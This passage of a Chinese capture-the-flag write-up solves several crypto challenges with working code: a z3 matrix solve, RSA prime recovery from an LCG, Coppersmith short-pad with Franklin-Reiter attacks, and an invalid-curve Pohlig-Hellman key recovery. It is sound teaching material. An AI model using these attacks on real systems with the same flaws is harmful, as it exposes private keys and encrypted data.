enctext1 = [0x000000FE, 0x0000000B, 0x0000001D, 0x000000F6, 0x00000083, 0x000000FF, 0x000000E0, 0x000000B8,
0x000000DD, 0x000000B0, 0x000000C5, 0x000000DE, 0x000000F6, 0x00000014, 0x0000009F, 0x000000DD,
0x000000D9, 0x00000007, 0x0000002D, 0x0000006B, 0x00000019, 0x000000CA, 0x00000073, 0x000000FD,
0x00000087, 0x00000072, 0x00000024, 0x00000004, 0x00000049, 0x0000007E, 0x000000A9, 0x000000CE,
0x00000091, 0x000000BE, 0x00000041, 0x00000018, 0x00000060, 0x0000003F, 0x0000002B, 0x00000063,
0x0000001C, 0x000000D2, 0x00000090, 0x000000E9, 0x0000008E, 0x000000BA, 0x0000001E, 0x000000F3,
0x00000041, 0x000000AD, 0x0000002C, 0x00000003, 0x00000069, 0x000000DA, 0x00000010, 0x000000FD,
0x000000FD, 0x000000E7, 0x00000006, 0x00000036, 0x000000D6, 0x00000002, 0x00000059, 0x00000018,
0x000000CC, 0x00000050, 0x00000087, 0x000000AF, 0x000000FB, 0x00000018, 0x00000044, 0x0000007F,
0x000000AD, 0x000000F8, 0x0000002C, 0x00000067, 0x0000001D, 0x00000022, 0x00000084, 0x000000AC,
0x0000000E, 0x00000023, 0x000000DC, 0x000000E6, 0x000000BB, 0x000000D2, 0x000000B8, 0x0000004A,
0x000000BC, 0x000000DE, 0x00000050, 0x0000009C, 0x0000001C, 0x0000001E, 0x00000086, 0x0000003A,
0x0000002D, 0x000000DD, 0x000000C3, 0x00000003]
enctext2 = [0x0001C633, 0x0001DF94, 0x00020EBF, 0x0002BA40, 0x0001E884, 0x000260D1, 0x0001F9B1, 0x0001EA1A,
0x0001EEAA, 0x0001DFB2, 0x0001C1D0, 0x0001EEF2, 0x000216E1, 0x0002BE00, 0x0001FB5E, 0x00025D74,
0x0001F000, 0x000202D6, 0x00020002, 0x0001DDFE, 0x0001C017, 0x0001F08C, 0x000227F6, 0x0002C7BA,
0x000201AE, 0x00027FBF, 0x00020E21, 0x0001FF5C, 0x0001FD62, 0x0001E948, 0x0001BE6E, 0x0001F4D7,
0x00022C8D, 0x0002C353, 0x0001F8DB, 0x00026E1D, 0x0001FF61, 0x0001EA0F, 0x0001F0D6, 0x0001EDA8,
0x0001AD7D, 0x00018218, 0x0001CCD4, 0x000239B6, 0x0001AC4C, 0x00020D7C, 0x0001D967, 0x0001A4F4,
0x0001CAD8, 0x000196AE, 0x0001831B, 0x00017E45, 0x0001D0CF, 0x00023EDF, 0x000181AE, 0x00021760,
0x0001D3B4, 0x000175D6, 0x00017D3A, 0x0001994F, 0x0001189D, 0x00014CCF, 0x0001568E, 0x00017EEB,
0x0001327E, 0x00016A45, 0x00012921, 0x00011FF0, 0x00013643, 0x00011729, 0x00015191, 0x00017D17,
0x00017262, 0x0001A863, 0x00017010, 0x00017B10, 0x00014F9C, 0x000143E8, 0x00015E9B, 0x0001242C,
0x0000F68C, 0x0001192A, 0x000150AD, 0x0001B1A0, 0x00014C60, 0x000182AB, 0x00013F4B, 0x000141A6,
0x00015AA3, 0x000135C9, 0x0001D86F, 0x0001E8FA, 0x0002158D, 0x0002BDAC, 0x00020E4F, 0x00027EE6,
0x000213B9, 0x00020E86, 0x000211FF, 0x0001E1EF]
# there_are_a_lot_useless_information_but_oh.o0O_111111111111111111111111111111111111111111_you_get_it
s = z3.Solver()
plain = []
for i in range(100):
plain.append(z3.Int('x%d' % i))
for i in range(10):
for j in range(10):
sum = 0
for y in range(10):
sum += enctext1[j + y*10] * plain[y + i*10]
s.add(sum == enctext2[j + i*10])
print(s.check())
rs = s.model()
for i in plain:
print(chr(rs[i].as_long()), end = '')
CRYPTO
胚胎植物
从中代码我们可以得知该加密算法首先随机生成r
, p
和q
三个素数,并分别计算n
,以及包含5个元素的
s数组。 然后使用
sha256生成
d`的哈希字串以作为AES的密钥对flag进行加密。
output.txt
则给出了n
, s
数组的各个元素以及enc_flag
密文。
结合如上数据,我们可以得到如下的关系式
n = p * q * r
s[0] = (seed * p + q) % r
s[1] = (s[0] * p + q) % r
s[2] = (s[1] * p + q) % r
s[3] = (s[2] * p + q) % r
s[4] = (s[3] * p + q) % r
使用模数计算规则,可以通过如下步骤得到r
。
得到r
之后,就可以此得出p
和q
, 然后得出d
用于最后的解密。
n = 953212452632162415623854742466108898886257018761981737488515480124784784754313403541058723530771941185648440076953890845364164881753643355212476926626742101375422468157394494383915186197027584298810203766388023131196821200163753827759350781726289328080241887775877824351482527440834821313689834438591567613042759531267263403394331824891899899505726815540209695860955058659042180466101027165453544129867565132811217413181292156021136184504130428910065116301275284964237087553827437109939035287527986380535446925078275313404977210504275217640523278087762041948497195357622678060873426815474421439984697128135689500335385151376561597600186415289317989920506634067994928935237389715706143172780083
s = [107663563520221758967681052016945344894135463272720867342404293429418113761640130338846143415694339846703472327422471509923932434685628383794998869995327761272087050985560474031629673883432008583476972873462387774454021532562638911, 375715892557297364364744701696307763009546269920835800827316473134718210911604668305115761037621526838903749589794728067744014884724708180550902913867595275270476040258585551516530116122396379615935241551413224529146764536011818960, 1142431136128743680237588635513380046580339971378804783979851430431837015880156204447030433004896454182104721893126547029880672333914367506184442229874405762062665597996081499892502200704128255903361177726702376303206644325660472696, 696181402062958907421352186902458487367420124659441418095569426735447880619442484035499857372339751543528153083380619139649590779544110176169319718082842863368788080781170847125373363885050864587076550882230251633851030744318779877, 1090087409231264760633243725379604084008037546075358826209944877794280528534452761945892984736121167182908072643369909923239008686694491992033132238021506681618226619691505113704791978765000558863195023783700460638272869374754376211]
enc_flag = "d3587442177b157fa0cecb6dd880872d86e15a50e3f05ecfeea8b90f5cfca22835a59d9c4f23e87a68317d4ccabe1bf3aa2e6cdf0a9ef1ada0a2e83d8da0bff2b739cf0e2b2b779958d9b1154a6f3698"
import gmpy2
r = gmpy2.gcd(((s[1] - s[0]) * (s[3] - s[2]) - (s[2] - s[1]) * (s[2] - s[1])), ((s[2] - s[1]) * (s[4] - s[3]) - (s[3] - s[2]) * (s[3] - s[2])))
a = s[2] - s[1]
b = s[1] - s[0]
p = a * pow(b, -1, r)
p = p % r
q = s[2] - s[1] * p
q = q % r
e = 0x10001
phi = (p - 1) * (q - 1) * (r - 1)
d = pow(e, -1, phi)
from Crypto.Util.number import bytes_to_long, long_to_bytes
from hashlib import sha256
from Crypto.Cipher import AES
key = sha256(long_to_bytes(d)).digest()
cipher = AES.new(key, AES.MODE_ECB)
cipher_text = bytes.fromhex(enc_flag)
flag = cipher.decrypt(cipher_text)
print("FLAG =", flag)
模数丢失
代码实现了一个基本的RSA加密算法, 并提供了四个使用相同参数加密产生的密文,其中Flag1
与Flag2
所对应的明文是Flag
加上随机产生的16个字节组,而msg1
与msg2
所对应的明文则已知
首先使用msg1
与msg2
以及它们对应的明文计算出n
, 其原理在于
m1 = b"Lost modulus had a serious falw in it , we fixed it in this version, This should be secure"
c1 = "0241f53c0690e3faccc3753b6064aef27341b5bef3a10fcbb362251e1f5474a055a04e631af1bb4542351f6051438fc6dbf2011f79cbd85bc667d1097b57818d01d11aa09db0ef221ccf8d9eb16903423702b64a534d49153b49dc47fd5597a96f2a6480d296d36d08ba3438cc193bba6ee2c3ea81ab4dbb029a737c3f5597c8e4b8db8ab06605443eb35160828bc78b1d889814d8811e89efae3d741a481a7bd09483df8ee6d32b56a8d7eb20b275cf3ba5936838da2893f82cbc469f1497f785603e72df1ae1f619e08834588f2e64dd5f4cbbdbc7357dadcd89dbd9e18b0948f9b3f8f6b0df217bd7e8ae5c89a20878ffb127e3cf862baa78cc67ec1012af"
m2 = b"If you can't see the modulus you cannot break the rsa , even my primes are 1024 bits , right ?"
c2 = "7499a590fcb19dd0880b77a0dd57f66f6055976100b10053adadaeec18c382c5c3d095b4edd6ee2a5dfdc5790b18ff96e54f093fa62d4b518c1bbe65ad3588a81a1723ce72798ddd06d1eca7be9332a7b754f85582c4c5800d0c778ec320fa53806d122b4f4e436ead12bdf05031d4c181416184932517da985ff503759d128761bd96009c43bf11e45ba60f495235d29a863b7a64d9752868dd9896563fe2cc91df6f092f6d4d7d600b4fbf2b52579a0f2657223a1092c067584aad9997540b25921513f96f2da0c26ffb2ee7578540efc50bc8ab0feeeb24e0e96ebc1e6310dbed880ec5d9788a86bebe72c4b5d9b5c66716e6b84021591372c823c6d78c4e"
e = 3
from Crypto.Util.number import bytes_to_long, long_to_bytes
m1 = bytes_to_long(m1)
m2 = bytes_to_long(m2)
c1 = int(c1, 16)
c2 = int(c2, 16)
t1 = c1 - pow(m1, e)
t2 = c2 - pow(m2, e)
import math
n = gcd(t1, t2)
print("n = ", n)
得到n
之后,我们可以通过Coppersmith short pad attack
加上Franklin-Reiter related message attack
方法通过msg1
和msg2
以得到Flag
的明文, SageMath代码如下:
#使用 https://github.com/pwang00/Cryptographic-Attacks/blob/master/Public%20Key/RSA/coppersmith_short_pad.sage
def coppersmith_short_pad(C1, C2, N, e = 3, eps = 1/25):
P.<x, y> = PolynomialRing(Zmod(N))
P2.<y> = PolynomialRing(Zmod(N))
g1 = (x^e - C1).change_ring(P2)
g2 = ((x + y)^e - C2).change_ring(P2)
# Changes the base ring to Z_N[y] and finds resultant of g1 and g2 in x
res = g1.resultant(g2, variable=x)
# coppersmith's small_roots only works over univariate polynomial rings, so we
# convert the resulting polynomial to its univariate form and take the coefficients modulo N
# Then we can call the sage's small_roots function and obtain the delta between m_1 and m_2.
# Play around with these parameters: (epsilon, beta, X)
roots = res.univariate_polynomial().change_ring(Zmod(N))\
.small_roots(epsilon=eps)
return roots[0]
def franklin_reiter(C1, C2, N, r, e=3):
P.<x> = PolynomialRing(Zmod(N))
equations = [x ^ e - C1, (x + r) ^ e - C2]
g1, g2 = equations
return -composite_gcd(g1,g2).coefficients()[0]
# I should implement something to divide the resulting message by some power of 2^i
def recover_message(C1, C2, N, e = 3):
delta = coppersmith_short_pad(C1, C2, N)
recovered = franklin_reiter(C1, C2, N, delta)
return recovered
def composite_gcd(g1,g2):
return g1.monic() if g2 == 0 else composite_gcd(g2, g1 % g2)
n = 17239653555729308464049438184920371089879081148402291800380594759517665804698359052648921465219887554469533537465122062104900480567488997794605293481770139146098702102563250193298500864238250949982552595159802814788612573898410252974926866757617491510437384709301937357695288829868010397984533999482461397333141208905813094732501385628605554793978927603376904138986551086256407424185029648833489655496424708493511895902919181646372064531235987733921846952446773365611469842532440322381367711369625814351911101284458643213930109512205598526068165522864217435748337932540742524768583448250580752519750464577065964352977
c1 = 0x685dba88de1ecf0b4ae5bc84b7ee87f63eb37f697ca9a5ab6af9359341a2fbbf53b9502477cabb1658fdf775a34a0712b04d0fd2679b47ec088e0ab3c0a9a866198077a496bb1de138cd165ca28722dee7c4cc81ac0a3a179095f11981e9c7bcd590576169ed877b5692f42a7d9845bdb7c0bffd4e97541b65321de83e4083c1c8cc93eec59933f42655d7c0ad170ed9a3ea418b582e09a2692fc1965d8372cac678f0dabe1b0cbda93ac9b484feb9d2e96f3ab7e2fc6430da1931281c1870c637866be7fcd69c1b067e001887bb17a57ccd77532ea9dfaa0be1390db5511771dc9e03593e344bf0647ddac395b1fe80a86ad4ea4606fdb8a82fdcf9c846114c
c2 = 0x356f7e82071f321361075ee85f9b42922662559ed64b253c64ff37b52fe8dcf3ab3163079bc9a12e951f84d2f7a911cbf1b1e8d7cd759a128f21a89b625b07ded33443a2888ca9a455198fd5b4a3fb307f34c704b7dcad88685263f4c3f4cf37f1099f2bd188de72533308c25fc18948dda220e3693b7f3edb689ee489c14e7624932ee8928370c9c1d59b06d1071a259d64c38735b1b586082099919713b669a79e43329f0c20508620982d95b774a57d009540c2ef2835887d229273223272f86fb0b1740937d3fc83d7556ffe634a16fb1faf6125878b06f5d537c21260014e2e67ae47636cbce899c463a3669954253aac3aa89a1c800d3251cf6a36badf
m1 = recover_message(c1, c2, n)
print("m1=", m1)
from Crypto.Util.number import bytes_to_long, long_to_bytes
print("flag=", long_to_bytes(int(m1))[:-16])
量子安全2
代码实现的加密算法包括多个部分,首先是给定的椭圆曲线private_key
, 该数值被用于Python random随机数的种子以生成量子操作符(Z或X), 其次是使用netsquid
来模拟实现对量子的观察,观察的结果值(0或1)被用于生成q_server_key
和q_user_key
, 而q_server_key
的sha256哈希值则作为AES加密的密钥。
运行环境提供三个输入选项,选项1允许用户输入坐标值(x, y), 然后返回[private_key]
与改点的标量积结果。选项2允许用户输入256个量子操作符,然后返回这些操作符进行量子观察的结果值,以及AES加密的密文。选项3无用。
首先我们必须获得椭圆曲线private_key
,提供的椭圆曲线代码并不检验用户输入的坐标是否在给定的曲线上,而且只使用给定的a
和p
曲线参数,而b
并没有用到。 因此我们可以使用相同的a
和p
, 但不同的b
来创建另一个椭圆曲线,b
的选择要求是使其对应的曲线上的离散对数符合Pohlig-Hellman算法的要求。
以下代码使用b=6
的曲线,并或取点的阶数,
p = 115792089237316195423570985008687907853269984665640564039457584007908834671663
a = 0
b = 6
EC = EllipticCurve(GF(p), [a, b])
Gx = 97739641136662608657079256755827419133838433889311376347497047878595450848685
Gy = 98100600220769146147883276184268394981687000350669426476581029710371895499142
G = EC(Gx, Gy)
G.order()
# 8270863516951156815969356072049136275281522608437447405948333614614684278506
对该阶数进行素因数分解,并根据代码中给出的private_key
上限确认符合Pohlig-Hellman算法的要求。
>> factor(8270863516951156815969356072049136275281522608437447405948333614614684278506)
***factors found***
P1 = 2
P1 = 7
P5 = 10903
P7 = 5290657
P11 = 10833080827
P14 = 22921299619447
P41 = 41245443549316649091297836755593555342121
输入该坐标对后,获取标量积结果,然后使用Pohlig-Hellman算法就可以获得private_key
#标量积结果
Qx = 3857225661745020856873269956141698742872251158780186082433874002180145459209
Qy = 6544502763778813556431537492609375417205638644494698005245711242038528944385
Q = EC(Qx, Qy)
dlogs = []
for fac in primes:
t = int(G.order()) // int(fac)
dlog = discrete_log(t*Q, t*G, operation="+")
dlogs += [dlog]
private_key = crt(dlogs, primes)
得到private_key
后,我们就可以获取生成q_server_key
的量子操作符序列,其原理在于Python radom随机数产生的序列由其种子决定,使用相同的种子值,其产生的随机数序列也相同。
seed(private_key)
server_basis = ""
for i in range(256):
b = randomBasis()
if (b == ns.Z):
server_basis = server_basis + "Z"
else:
server_basis = server_basis + "X"
print("server_basis=", server_basis)
通过实验,我们可以发现在generateKeys
方法中,当对q1
和q2
使用相同的basis
调用measure
方法时,其返回的结果总是相反的。由此我们可以使用选项2输入server_basis
, 然后将获得的结果还原成二进制,然后逐位求反,就可以获得q_server_key
#q_user_key
hex = "a425ec07feabe32f689e7bf2322f171217a1549d2ee00f54622d99ea26dcf27d"
blocks = bytes.fromhex(hex)
bits = []
for block in blocks:
s = bin(int(block))[2:].zfill(8)
for i in s:
bits.append(int(i))
server_bits = []
for b in bits:
if (b == 0):
server_bits.append(1)
else:
server_bits.append(0)
q_server_key = bitsToHash(server_bits)
到q_server_key
后,就可以进行AES解密了。
cipher_text = bytes.fromhex("0842dbf2337a3be8b1a03ba2692ce7ed046902d537cc99613b73a372e280229a4f4f6caca4e827a952ee88426702f1dcd0f03b9fcee64d5729d46d15954bbf6a234222058295fd2c257eceab1fd9e5b0")
cipher = AES.new(q_server_key, AES.MODE_ECB)
plain_text = cipher.decrypt(cipher_text)
print(f"plain_text = {plain_text}")